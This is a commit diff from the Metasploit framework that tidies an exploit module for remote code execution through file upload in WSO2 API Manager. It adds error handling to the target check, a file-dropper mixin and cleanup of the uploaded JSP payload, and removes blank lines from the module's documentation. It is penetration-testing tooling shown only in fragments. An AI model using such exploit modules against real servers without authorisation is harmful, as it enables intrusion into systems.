Apply suggestions from code review

Co-authored-by: jheysel-r7 <[email protected]>

Author: heyder

documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md

@@ -17,9 +17,6 @@ services:
 ```bash
 docker-compose up
 ```
-
-
-
 ## Verification Steps
 
 1. Install the application

modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb

@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
   prepend Msf::Exploit::Remote::AutoCheck
 
   attr_accessor :bearer
@@ -87,7 +88,12 @@ def initialize(info = {})
   def check
     vprint_status('Checking target...')
 
-    authenticate
+    begin
+      authenticate
+    rescue Msf::Exploit::Failed => e
+      vprint_error(e.message)
+      return Exploit::CheckCode::Unknown
+    end
     res = send_request_cgi(
       'uri' => normalize_uri(target_uri.path, 'services', 'Version'),
       'method' => 'GET',
@@ -368,6 +374,7 @@ def upload_payload(api_id, doc_id)
     fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed') unless res&.code == 201
 
     print_good('Payload uploaded successfully')
+    register_file_for_cleanup(jsp_filename)
     return res
   end